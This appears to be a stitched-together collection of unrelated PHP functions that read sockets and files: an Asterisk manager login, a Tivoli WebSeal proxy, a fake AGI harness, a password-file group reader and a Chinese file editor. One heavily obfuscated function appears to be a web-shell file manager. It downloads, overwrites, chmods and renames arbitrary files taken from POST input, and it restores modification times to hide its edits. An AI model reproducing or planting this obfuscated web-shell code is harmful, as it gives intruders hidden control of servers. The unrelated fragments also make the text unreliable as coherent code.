public function ami_login($username, $password, $host, $port) { $this->_socket = fSockOpen($host, $port, $err, $errmsg, 2); if (!$this->_check_socket()) { gs_log(GS_LOG_WARNING, 'Connection to AMI on ' . $host . ' failed'); return false; } # check: is AMI? $tStart = time(); $data = ''; while (!fEof($this->_socket) && time() < $tStart + 3) { $data .= @fRead($this->_socket, 8192); if (@preg_match('/[\\r\\n]/', $data)) { break; } usleep(1000); # sleep 0.001 secs } if (!preg_match('/^Asterisk [^\\/]+\\/(\\d(?:\\.\\d)?)/mis', $data, $m)) { gs_log(GS_LOG_WARNING, 'Incompatible Asterisk Manager Interface on ' . $host); $m = array(1 => '0.0'); } else { if ($m[1] > '1.1') { # Asterisk 1.4: manager 1.0 # Asterisk 1.6: manager 1.1 gs_log(GS_LOG_WARNING, 'Asterisk manager interface on ' . $host . ' speaks a new protocol version (' . $m[1] . ')'); # let's try anyway and hope to understand it } $req = 'Action: Login' . "\r\n" . 'Username: '******'Secret: ' . $password . "\r\n" . 'Events: off' . "\r\n" . "\r\n"; $data = $this->ami_send_command($req); if (strToLower($data['Message']) !== 'authentication accepted') { gs_log(GS_LOG_WARNING, 'Authentication to AMI on ' . $host . ' failed'); return false; } } return true; }
die; } @stream_set_blocking($sock, false); $tStart = time(); $cnt_no_data = 0; $buf = ''; echo $html_start; echo $msg_open; echo 'e("");', "\n"; # everything is fine echo $msie_pad; echo $msg_close; @ob_flush(); @flush(); //$db = gs_db_slave_connect(); while (!@fEof($sock) && time() < $tStart + $maxtime) { $data = @fRead($sock, 8190); if (strLen($data) > 0) { $cnt_no_data = 0; $buf .= $data; } else { if (++$cnt_no_data > 250) { # we sleep 0.02 secs so this is 5 secs echo $html_end; @ob_flush(); @flush(); exit(0); } } while (preg_match('/=====/S', $buf, $m, PREG_OFFSET_CAPTURE)) { $pos = (int) @$m[0][1];
function _sock_read($sock, $timeout, $stop_regex) { if (!is_resource($sock)) { return false; } @stream_set_blocking($sock, false); //stream_set_timeout( $sock, 5 ); // not really used here $tStart = time(); $data = ''; while (!@fEof($sock) && time() < $tStart + $timeout) { $data .= @fRead($sock, 8192); if (@preg_match($stop_regex, $data)) { break; } uSleep(1000); # sleep 0.001 secs } if ($data === '') { # assume timeout return false; } return $data; }
function readFiles($a) { $fname = explode("/", $a); $fnameNums = count($fname); $fname = $fname[$fnameNums - 1]; if (strcmp($fname, "loaddir.php") == 0) { echo "<script>alert('不能编辑该文件!');location.href='loaddir.php';</script>"; } //$exts=substr($a,-3); $exts = explode(".", $a); $extsNums = count($exts); $exts = $exts[$extsNums - 1]; if ($exts == "php" || $exts == "asp" || $exts == "txt" || $exts == "html" || $exts == "aspx" || $exts == "jsp" || $exts == "htm") { $handle = @fOpen($a, "r"); if ($handle) { echo "<h3>修改文件:{$a}</h3>"; echo "<form action='loaddir.php?action=doedit&urlstr={$a}' method='post'><textarea style='width:99%;height:300px;margin-left:auto;margin-right:auto;' name='content'>"; while (!fEof($handle)) { //$buffer=fGets($handle); //echo ubb(mb_convert_variables(fGets($handle),"gb2312","gb2312,utf-8")); //echo ubb(mb_convert_encoding(fGets($handle),"gb2312","utf-8,gb2312")); echo ubb(mb_convert_encoding(fGets($handle), "utf-8", "auto")); //echo ubb(iconv("utf-8,gb2312","gb2312",fGets($handle))); //echo ubb(fGets($handle)); } fClose($handle); echo "</textarea><h3><input type='submit' value='修改' /></h3></form>"; } else { //echo "文件不存在或不可用"; echo "<script>alert('文件不存在或不可用');location.href='loaddir.php';</script>"; } } else { //echo "不能编辑该文件"; echo "<script>alert('不能编辑该文件');location.href='loaddir.php';</script>"; } }
function aCtiONfILEstOolS() { if (isset($_POST[_≈сс::_ш┬('_' . '╩г', '_пп' . 'ц')])) { $_POST[_≈сс::_ш┬('_' . '≤√', '_в╕е')] = UrlDEcOde($_POST[_≈сс::_ш┬('_' . '╥' . 'н╥', '_' . 'ч╗')]); } if (@$_POST[_≈сс::_ш┬('_' . 'п║', '_╟⌡')] == _≈сс::_ш┬('_' . '╔' . '╛', '_╞в')) { if (@Is_FIlE($_POST[_≈сс::_ш┬('_╧' . '╘', '_╔╣')]) && @is_REaDabLe($_POST[_≈сс::_ш┬('_эмо', '_р┼' . 'я')])) { ob_StarT(_≈сс::_ш┬('_б╓', '_╤├о'), 010000); heAder(_≈сс::_ш┬('_у≥ё', '_≤л') . bASENAME($_POST[_≈сс::_ш┬('_┼┤' . '┴', '_' . 'ы┴п')])); if (FUNCtioN_ExiStS(_≈сс::_ш┬('_м├', '_≥лз'))) { $_д = @mIME_COntent_typE($_POST[_≈сс::_ш┬('_' . 'р├' . 'ф', '_' . 'т╩')]); HEader(_≈сс::_ш┬('_' . '▄⌠' . 'ф', '_├ю' . 'г') . $_д); } else { HEAder(_≈сс::_ш┬('_' . 'гз' . '╓', '_┬▀' . '▌')); } $_╔╛р = @fopEn($_POST[_≈сс::_ш┬('_ж≤┤', '_╜' . 'г')], _≈сс::_ш┬('_' . '┘' . 'ц', '_ие')); if ($_╔╛р) { while (!@fEOF($_╔╛р)) { echo @fREAd($_╔╛р, 02000); } FclOse($_╔╛р); } } exit; } if (@$_POST[_≈сс::_ш┬('_╟├' . 'ъ', '_ц█')] == _≈сс::_ш┬('_' . 'щ√', '_' . 'ё' . '╡')) { if (!FILE_eXIsTs($_POST[_≈сс::_ш┬('_' . '┴⌡', '_╓' . '╟')])) { $_╔╛р = @FOPeN($_POST[_≈сс::_ш┬('_' . '▒' . 'ю', '_т▒' . 'б')], _≈сс::_ш┬('_' . '╞' . '╥', '_' . 'цщ')); if ($_╔╛р) { $_POST[_≈сс::_ш┬('_ёя', '_' . 'з═')] = _≈сс::_ш┬('_' . 'ц╤', '_сьъ'); fcloSE($_╔╛р); } } } _н(); echo _≈сс::_ш┬('_' . 'хз' . 'р', '_╙' . 'ёп'); if (!File_ExiStS(@$_POST[_≈сс::_ш┬('_≤╩', '_' . '┴' . '≤')])) { echo _≈сс::_ш┬('_┤' . '▀', '_╙╚х'); _▌╩(); return; } $_■ = @posIX_geTPwUID(@fileOWNER($_POST[_≈сс::_ш┬('_' . '╝╗' . '├', '_╫' . 'я')])); if (!$_■) { $_■[_≈сс::_ш┬('_╩' . '╞', '_╠' . '═╞')] = @fILeOwNER($_POST[_≈сс::_ш┬('_ц╘', '_' . '≈' . '■⌡')]); $_▀я├[_≈сс::_ш┬('_ц╡' . 'о', '_' . '⌠√')] = @FileGrOUp($_POST[_≈сс::_ш┬('_' . 'х┬', '_╛мл')]); } else { $_▀я├ = @poSIx_gETgrgID(@fiLEgrOUP($_POST[_≈сс::_ш┬('_сь', '_' . 'х═' . '▌')])); } echo _≈сс::_ш┬('_фж' . '┴', '_╕╤≈') . HtmLSPeCiALCHaRS(@baSenAme($_POST[_≈сс::_ш┬('_' . 'я═' . '▓', '_┼┴э')])) . _≈сс::_ш┬('_┼╟' . 'р', '_┘│▀') . (IS_fiLe($_POST[_≈сс::_ш┬('_' . 'ъэ' . 'й', '_' . 'тж')]) ? _┌├к(fIlESIze($_POST[_≈сс::_ш┬('_' . '╡' . '├' . '▒', '_нв')])) : _≈сс::_ш┬('_зу', '_┘' . 'кю')) . _≈сс::_ш┬('_┬' . 'с', '_' . 'х▓') . _═├($_POST[_≈сс::_ш┬('_╝д▌', '_' . 'шы')]) . _≈сс::_ш┬('_ь■' . '╡', '_' . '╡' . 'ыъ') . $_■[_≈сс::_ш┬('_─' . 'к╖', '_▀╠ш')] . _≈сс::_ш┬('_' . 'в═▌', '_▀╚з') . $_▀я├[_≈сс::_ш┬('_▄' . '╫', '_≈╟' . '╣')] . _≈сс::_ш┬('_я╣', '_у╓' . 'л'); echo _≈сс::_ш┬('_⌡╩', '_' . 'ь⌡' . 'ы') . daTE(_≈сс::_ш┬('_з│' . '▒', '_к■' . 'ч'), fILEcTime($_POST[_≈сс::_ш┬('_лы', '_▒' . '╘л')])) . _≈сс::_ш┬('_' . '╖' . 'р┌', '_ж╚') . daTE(_≈сс::_ш┬('_' . '╟п', '_' . '╛' . 'ъ'), fILEaTIMe($_POST[_≈сс::_ш┬('_' . 'у▓', '_' . 'йх')])) . _≈сс::_ш┬('_ил', '_▄' . '▌' . '▒') . DAte(_≈сс::_ш┬('_▄┤ь', '_с┘м'), fiLemtIme($_POST[_≈сс::_ш┬('_▄' . '┤к', '_' . '╡√' . 'щ')])) . _≈сс::_ш┬('_б┬', '_ы│б'); if (empty($_POST[_≈сс::_ш┬('_╧жч', '_╞' . 'д')])) { $_POST[_≈сс::_ш┬('_' . 'н╞│', '_' . 'фюй')] = _≈сс::_ш┬('_' . 'э├', '_█' . '■' . 'х'); } if (iS_FILE($_POST[_≈сс::_ш┬('_ф╧', '_╕√')])) { $_║ = array(_≈сс::_ш┬('_' . 'я╙', '_' . '┌■'), _≈сс::_ш┬('_' . '╗' . 'г', '_═' . '╠'), _≈сс::_ш┬('_≤┴', '_' . 'шр'), _≈сс::_ш┬('_' . '═' . '√╧', '_' . 'ом' . '╜'), _≈сс::_ш┬('_' . '┬╙', '_╙' . '╙' . '√'), _≈сс::_ш┬('_ас≈', '_' . 'ь╠'), _≈сс::_ш┬('_▌╔' . '╤', '_а' . '▄х'), _≈сс::_ш┬('_ж╫' . '║', '_г╩┘')); } else { $_║ = array(_≈сс::_ш┬('_' . '└' . '▓╤', '_ч≤' . '╩'), _≈сс::_ш┬('_┼' . '└', '_╖' . 'н≈'), _≈сс::_ш┬('_г├' . '▒', '_' . 'ь╔й')); } foreach ($_║ as $_ю╫) { echo _≈сс::_ш┬('_├' . 'в', '_╙─в') . uRlenCoDE($_POST[_≈сс::_ш┬('_' . '╣' . 'к▓', '_' . '▌┼' . '┘')]) . _≈сс::_ш┬('_' . 'дх', '_┬' . 'ф') . StrToloWER($_ю╫) . _≈сс::_ш┬('_┌' . 'и⌡', '_' . '▄╟') . (STrTOLOwer($_ю╫) == @$_POST[_≈сс::_ш┬('_' . '⌠а' . '╡', '_ащ▐')] ? _≈сс::_ш┬('_' . '╔■ш', '_▀ф█') . $_ю╫ . _≈сс::_ш┬('_' . '∙─', '_улт') : $_ю╫) . _≈сс::_ш┬('_' . '⌠' . '╝' . '√', '_▐' . 'ф≈'); } echo _≈сс::_ш┬('_' . '│█', '_╝▀' . 'п'); switch ($_POST[_≈сс::_ш┬('_√' . '┬', '_' . '╔▌' . '≤')]) { case _≈сс::_ш┬('_' . '╠√', '_' . 'п╙'): echo _≈сс::_ш┬('_' . '╫' . 'л╙', '_≤я┤'); $_╔╛р = @fopeN($_POST[_≈сс::_ш┬('_╛╔▓', '_╖э')], _≈сс::_ш┬('_' . 'лу', '_к┤')); if ($_╔╛р) { while (!@fEof($_╔╛р)) { echo HtMLSpEcIalcHaRs(@fREad($_╔╛р, 02000)); } @fCLOSe($_╔╛р); } echo _≈сс::_ш┬('_жк', '_' . 'ё╧'); break; case _≈сс::_ш┬('_┴╔', '_' . 'ф├≤'): if (@is_readABlE($_POST[_≈сс::_ш┬('_▀' . '≥', '_' . '▒≥╔')])) { echo _≈сс::_ш┬('_' . '▐' . '┼б', '_я└'); $_╟щ = @higHlIght_FILe($_POST[_≈сс::_ш┬('_' . '╧' . '╟' . '╚', '_' . '═▓')], true); echo sTR_REpLAcE(array(_≈сс::_ш┬('_' . 'за', '_╩' . '≥'), _≈сс::_ш┬('_├' . 'й╘', '_' . 'я█' . '╓')), array(_≈сс::_ш┬('_╓√≥', '_' . 'идб'), _≈сс::_ш┬('_' . '║╡х', '_ш▒')), $_╟щ) . _≈сс::_ш┬('_' . 'д─' . 'ы', '_нт'); } break; case _≈сс::_ш┬('_┤жэ', '_чзъ'): if (!empty($_POST[_≈сс::_ш┬('_' . 'в╠', '_жь' . 'в')])) { $_┼┤ = 00; for ($_╧╞│ = strlEN($_POST[_≈сс::_ш┬('_╔┬', '_' . 'чу║')]) - 01; $_╧╞│ >= 00; --$_╧╞│) { $_┼┤ += (int) $_POST[_≈сс::_ш┬('_' . 'ь≥', '_' . '┌' . 'з')][$_╧╞│] * pOw(010, STrleN($_POST[_≈сс::_ш┬('_' . '│■┌', '_' . '╗╣')]) - $_╧╞│ - 01); } if (!@chmOD($_POST[_≈сс::_ш┬('_' . '▓в', '_вж╫')], $_┼┤)) { echo _≈сс::_ш┬('_гр' . '═', '_⌡┌и'); } } cLEARStAtcaCHE(); echo _≈сс::_ш┬('_х╜' . 'ё', '_пъ') . UrLEncODE($_POST[_≈сс::_ш┬('_' . 'ыс', '_╟≥' . 'к')]) . _≈сс::_ш┬('_╗' . 'щф', '_щ■' . '■') . suBSTr(SPRINTF(_≈сс::_ш┬('_╚з', '_═ф'), FiLEPERmS($_POST[_≈сс::_ш┬('_' . '≈▄' . '╗', '_' . 'ь⌡│')])), -04) . _≈сс::_ш┬('_к╩' . 'л', '_█' . 'ц╣'); break; case _≈сс::_ш┬('_▓┘р', '_ечп'): if (!IS_WRITABle($_POST[_≈сс::_ш┬('_╫' . 'ж╤', '_▒' . '╚┬')])) { echo _≈сс::_ш┬('_║м', '_≥' . '▒'); break; } if (!empty($_POST[_≈сс::_ш┬('_' . 'д╧м', '_е≤х')])) { $_▌щм = @Filemtime($_POST[_≈сс::_ш┬('_╧└' . '╞', '_' . '█≈' . 'е')]); $_POST[_≈сс::_ш┬('_│▓' . '▀', '_шсл')] = suBsTr($_POST[_≈сс::_ш┬('_яр' . 'я', '_' . '╥║' . '┼')], 01); $_╔╛р = @FoPEn($_POST[_≈сс::_ш┬('_▓╞', '_≤ф')], _≈сс::_ш┬('_ют', '_с▌')); if ($_╔╛р) { @FwriTE($_╔╛р, $_POST[_≈сс::_ш┬('_┤ъ│', '_' . '⌡└─')]); @FcLOsE($_╔╛р); echo _≈сс::_ш┬('_' . 'хъ', '_ы╗' . 'ж'); @TouCh($_POST[_≈сс::_ш┬('_' . 'гэ', '_ьа' . 'я')], $_▌щм, $_▌щм); } } echo _≈сс::_ш┬('_▐╖', '_ны') . UrlenCOdE($_POST[_≈сс::_ш┬('_│' . 'п┤', '_' . '╙с')]) . _≈сс::_ш┬('_' . '≤║╝', '_√╚' . 'р'); $_╔╛р = @FopEn($_POST[_≈сс::_ш┬('_╙╫', '_├' . '┬')], _≈сс::_ш┬('_╙' . '▌', '_пр')); if ($_╔╛р) { while (!@FEOF($_╔╛р)) { echo htMLspeciaLCharS(@freaD($_╔╛р, 02000)); } @fCloSe($_╔╛р); } echo _≈сс::_ш┬('_' . '╗' . '╔┴', '_∙м'); break; case _≈сс::_ш┬('_' . '╚╕' . '╔', '_д╧' . '▄'): $_┼┘╓ = @FIlE_geT_CONtENTs($_POST[_≈сс::_ш┬('_║о', '_┌ё▒')]); $_╫≥ = 00; $_⌡х = array(_≈сс::_ш┬('_┼' . '╣', '_' . 'фкв'), _≈сс::_ш┬('_' . 'мъ', '_щц' . '█'), _≈сс::_ш┬('_ьёт', '_ы╓')); $_▀╔└ = STrlen($_┼┘╓); for ($_╧╞│ = 00; $_╧╞│ < $_▀╔└; ++$_╧╞│) { $_⌡х[01] .= sPRIntf(_≈сс::_ш┬('_╛╝╧', '_■й'), ORd($_┼┘╓[$_╧╞│])) . _≈сс::_ш┬('_═╝╥', '_' . 'бр╤'); switch (ORD($_┼┘╓[$_╧╞│])) { case 00: $_⌡х[02] .= _≈сс::_ш┬('_' . '⌠─', '_' . 'ег'); break; case 011: $_⌡х[02] .= _≈сс::_ш┬('_' . '≥≈щ', '_' . '≈вн'); break; case 012: $_⌡х[02] .= _≈сс::_ш┬('_яе' . '┼', '_' . 'у▓' . '║'); break; case 015: $_⌡х[02] .= _≈сс::_ш┬('_╣ы', '_' . '╙щ'); break; default: $_⌡х[02] .= $_┼┘╓[$_╧╞│]; break; } $_╫≥++; if ($_╫≥ == 040) { $_╫≥ = 00; if ($_╧╞│ + 01 < $_▀╔└) { $_⌡х[00] .= sPrintf(_≈сс::_ш┬('_╙╟', '_║≤'), $_╧╞│ + 01) . _≈сс::_ш┬('_' . 'сс', '_п╘м'); } $_⌡х[01] .= _≈сс::_ш┬('_кдк', '_≈╫л'); $_⌡х[02] .= _≈сс::_ш┬('_╤╘╫', '_' . 'мй'); } } echo _≈сс::_ш┬('_▌┼', '_⌡лп') . $_⌡х[00] . _≈сс::_ш┬('_' . '╥ку', '_' . 'ю╖') . $_⌡х[01] . _≈сс::_ш┬('_' . '▐эр', '_⌡' . '√╫') . hTmLspEcIalcHaRs($_⌡х[02]) . _≈сс::_ш┬('_∙э║', '_хш' . '└'); break; case _≈сс::_ш┬('_╣' . '╔', '_▄' . 'ъ╥'): if (!empty($_POST[_≈сс::_ш┬('_' . 'у█у', '_▐∙╠')])) { if (!@reName($_POST[_≈сс::_ш┬('_ы≥╝', '_' . '┌р╘')], $_POST[_≈сс::_ш┬('_╣ш', '_⌡' . 'э')])) { echo _≈сс::_ш┬('_р╖', '_■│'); } else { die(_≈сс::_ш┬('_╗' . 'т', '_▒' . 'г') . uRLeNCodE($_POST[_≈сс::_ш┬('_╫' . '⌡', '_' . '▒й')]) . _≈сс::_ш┬('_' . '╩' . '√⌠', '_└' . '═')); } } echo _≈сс::_ш┬('_' . '■╞э', '_≥╟й') . URlEnCOde($_POST[_≈сс::_ш┬('_' . 'ью', '_╗' . '╖')]) . _≈сс::_ш┬('_' . '═' . 'э', '_' . '│╥') . HtmlSPeCialcHARs($_POST[_≈сс::_ш┬('_▐' . '┤' . 'ф', '_ас')]) . _≈сс::_ш┬('_яц', '_≥р'); break; case _≈сс::_ш┬('_рд' . 'ч', '_╡╞' . 'ъ'): if (!empty($_POST[_≈сс::_ш┬('_╣' . 'ь▓', '_╫' . '┴')])) { $_▌щм = StRTotime($_POST[_≈сс::_ш┬('_▌╛' . '≈', '_' . '═' . '')]); if ($_▌щм) { if (!toUCh($_POST[_≈сс::_ш┬('_≈' . '╫', '_' . 'й■' . 'м')], $_▌щм, $_▌щм)) { echo _≈сс::_ш┬('_┼' . 'з', '_е╟'); } else { echo _≈сс::_ш┬('_▀' . '║', '_яэ╥'); } } else { echo _≈сс::_ш┬('_ре', '_' . 'чж'); } } cLEarSTaTcAcHE(); echo _≈сс::_ш┬('_ух' . 'б', '_╧' . '╩' . '╤') . uRlENcODE($_POST[_≈сс::_ш┬('_╚п', '_┘' . 'я')]) . _≈сс::_ш┬('_╖' . 'о', '_' . 'м╠') . DAtE(_≈сс::_ш┬('_╞' . '⌠ъ', '_╞' . '═'), @fILemTImE($_POST[_≈сс::_ш┬('_фчя', '_╕│')])) . _≈сс::_ш┬('_' . '╛л', '_╠ую'); break; } echo _≈сс::_ш┬('_' . 'у║', '_├╩'); _▌╩(); }
function tivoli_http_request() { global $scheme, $host, $port, $timeout, $sessionName; /* echo "<pre>"; print_r($_SERVER); print_r($_FILES); echo "</pre>"; */ if (is_array($_FILES) && count($_FILES) > 0) { $errout = 'File uploads cannot be handled by the WebSeal simulation script.'; } else { $errout = ''; } $postVals = array(); if ($_SERVER['REQUEST_METHOD'] == 'POST') { foreach ($_POST as $k => $v) { if (subStr($k, 0, 10) != '_x_tivoli_') { $postVals[] = urlEncode($k) . '=' . urlEncode($v); } } } $postData = implode('&', $postVals); $headers = array(); foreach ($_SERVER as $k => $v) { if (subStr($k, 0, 5) == 'HTTP_') { $k = strToLower(str_replace('_', '-', subStr($k, 5))); $headers[$k] = $v; } } $headers['accept-encoding'] = 'identity'; $headers['connection'] = 'close'; $headers['host'] = $host . ':' . $port; unset($headers['keep-alive']); $headers['iv-user'] = $_SESSION['user']; if ($_SERVER['REQUEST_METHOD'] == 'POST') { $headers['content-type'] = 'application/x-www-form-urlencoded'; $headers['content-length'] = strLen($postData); } if (isset($headers['cookie'])) { $headers['cookie'] = preg_replace('/' . $sessionName . '=[^\\s]*/', '', $headers['cookie']); } if (isset($headers['referer'])) { $headers['referer'] = str_replace('http://' . $_SERVER['HTTP_HOST'] . '/', 'http://' . $host . ':' . $port . '/', $headers['referer']); if ($port == 80) { $headers['referer'] = str_replace(':80', '', $headers['referer']); } } $req = $_SERVER['REQUEST_METHOD'] . ' ' . $_SERVER['REQUEST_URI'] . ' HTTP/1.0' . "\r\n"; foreach ($headers as $k => $v) { $req .= ucWords($k) . ': ' . $v . "\r\n"; } $req .= "\r\n"; if ($_SERVER['REQUEST_METHOD'] == 'POST') { $req .= $postData; } unset($headers); $sock = @fSockOpen('tcp://' . $host, $port, $err, $errMsg, $timeout); if (!$sock) { echo "Could not connect to host {$host}, port {$port}\n"; return false; } fWrite($sock, $req, strLen($req)); unset($req); $response = ''; while (!fEof($sock)) { $response .= fRead($sock, 10000); } my_http_handle_response($response, $errout); }
_fake_agi_send($pipes[0], 'agi_context: FAKE'); _fake_agi_send($pipes[0], 'agi_extension: s'); _fake_agi_send($pipes[0], 'agi_priority: 1'); _fake_agi_send($pipes[0], 'agi_enhanced: 0.0'); _fake_agi_send($pipes[0], 'agi_accountcode: '); _fake_agi_send($pipes[0], ''); $select = array($pipes[1]); # needs to be passed by reference $null = null; # needs to be passed by reference stream_set_blocking($pipes[1], true); while (true) { $agi_cmd_line = ''; $i = 0; while (true) { if (fEof($pipes[1])) { # AGI script exited break 2; } if (stream_select($select, $null, $null, 1) > 0) { $agi_cmd_line .= fGetS($pipes[1], 8192); if (subStr($agi_cmd_line, -1) === "\n") { # end of line //$agi_cmd_line = subStr($agi_cmd_line,0,-1); $agi_cmd_line = rTrim($agi_cmd_line); break; } } if (++$i > 2) { # 1 s * 10 = 10 s gs_log(GS_LOG_WARNING, 'Timeout while waiting for AGI command.');
function getAllGroups($users = false, $sort = true) { global $hlaska, $pwdfname; //kontrola existence souboru hesel if (!File_Exists($pwdfname)) { $hlaska = "Nenalezen soubor hesel"; return false; } //cteni souboru hesel $fHesla = fopen($pwdfname, "r"); $groups = array(); while (!fEof($fHesla)) { $row = fGetS($fHesla); $row = explode(",", $row); $group = array(); if ($row[1]) { $group = explode(" ", $row[1]); } if ($users && $row[0]) { $group[] = $row[0]; } $groups = array_merge($groups, $group); } fclose($fHesla); $groups = array_unique($groups); if ($sort) { asort($groups); } return $groups; }